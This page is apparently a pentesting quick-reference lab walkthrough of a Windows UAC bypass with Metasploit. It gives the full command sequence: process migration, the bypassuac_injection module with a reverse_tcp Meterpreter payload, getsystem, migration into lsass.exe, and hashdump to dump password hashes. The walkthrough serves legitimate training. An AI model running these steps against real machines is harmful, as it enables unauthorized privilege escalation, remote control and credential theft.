> For the complete documentation index, see [llms.txt](https://notes.cavementech.com/pentesting-quick-reference/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.cavementech.com/pentesting-quick-reference/privilege-escalation/windows-priv-esc/uac-bypass-memory-injection-metasploit.md).

# UAC Bypass: Memory Injection (Metasploit)

Checking the current user priviledges

```
getuid
sysinfo
```

<figure><img src="/files/gj0wKm3aejO2H6IOvldc" alt=""><figcaption></figcaption></figure>

We can observe that we are running as an admin user. Migrate the process in explorer.exe. First, search for the PID of explorer.exe and use the migrate command to migrate the current process to the explorer process.

```
ps -S explorer.exe
migrate 2124
```

**Please note** the explorer.exe arch is **x64** bit, so later when we perform UAC bypass, we have to use x64 based meterpreter payload.

<figure><img src="https://assets.ine.com/lab/learningpath/277cc6e33ce8bf27515e05ad72d003d8aab11698849819d2bdce667ea960329f.jpg" alt=""><figcaption></figcaption></figure>

Elevate to the high privilege:

```
getsystem
```

<figure><img src="https://assets.ine.com/lab/learningpath/9564463e514178f86159f84bb69ea2f4e987ad3bdcd965985089604eff52388f.jpg" alt=""><figcaption></figcaption></figure>

We can observe that we do not have permission to elevate privileges.

&#x20;Get a windows shell and check if the admin user is a member of the Administrators group.

```
shell
net localgroup administrators
```

<figure><img src="https://assets.ine.com/lab/learningpath/5589520c742892e2243ad8d4758b13449a30ebb6fdc0ac4062102e71f18874de.jpg" alt=""><figcaption></figcaption></figure>

The admin user is a member of the Administrators group. However, we do not have the high privilege as of now. We can gain high privilege by **Bypassing UAC (User Account Control)**.

We are going to bypass UAC using the Metasploit local exploit module.

“This module will bypass Windows UAC by utilizing the trusted publisher certificate through process injection. It will spawn a second shell that has the UAC flag turned off. This module uses the R**eflective DLL Injection technique to drop only the DLL payload binary instead of three separate binaries in the standard technique**. However, it requires the correct architecture to be selected, (use x64 for SYSWOW64 systems also). If specifying EXE::Custom your DLL should call ExitProcess() after starting your payload in a separate process.”

**Source:** \[<https://www.rapid7.com/db/modules/exploit/windows/local/bypassuac\\_injection/>]

Background the current session and use the local exploit for UAC bypass.

```
CTRL + C
background
```

<figure><img src="https://assets.ine.com/lab/learningpath/ca5b416a8e9487c368863c2217f60cb54602fa148596abaee2b961073466245c.jpg" alt=""><figcaption></figcaption></figure>

Run UAC Bypass In-Memory Injection module.

```
use exploit/windows/local/bypassuac_injection
set session 1
set TARGET 1
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit
```

<figure><img src="https://assets.ine.com/lab/learningpath/3bd251ab333e7bc76b89c6efd1f6604a92de4448327aa512a95450315710125f.jpg" alt=""><figcaption></figcaption></figure>

Elevate to the high privilege.

```
getsystem
getuid
```

<figure><img src="https://assets.ine.com/lab/learningpath/c2382394ab4a3fcf21e9b0e946b492ebf8b7f90bc868bda218638624c476e788.jpg" alt=""><figcaption></figcaption></figure>

We have successfully gained high privilege access. Dump the user hashes.

Migrate in lsass.exe process.

```
ps -S lsass.exe
migrate 484
```

<figure><img src="https://assets.ine.com/lab/learningpath/ee0458747473d3189af918aef38ab43dd7a9c050dc391747a3f4c88e85ae2f58.jpg" alt=""><figcaption></figcaption></figure>

Dump the hashes.

```
hashdump
```

<figure><img src="https://assets.ine.com/lab/learningpath/fcbaefdd69e334d89401b92283313536258daa1bb245c6af2ffd7466594d4146.jpg" alt=""><figcaption></figcaption></figure>

## References

* \[<https://www.exploit-db.com/exploits/39161>]
* \[<https://www.rapid7.com/db/modules/exploit/windows/http/rejetto\\_hfs\\_exec>]
* \[<https://www.rapid7.com/db/modules/exploit/windows/local/bypassuac\\_injection/>]
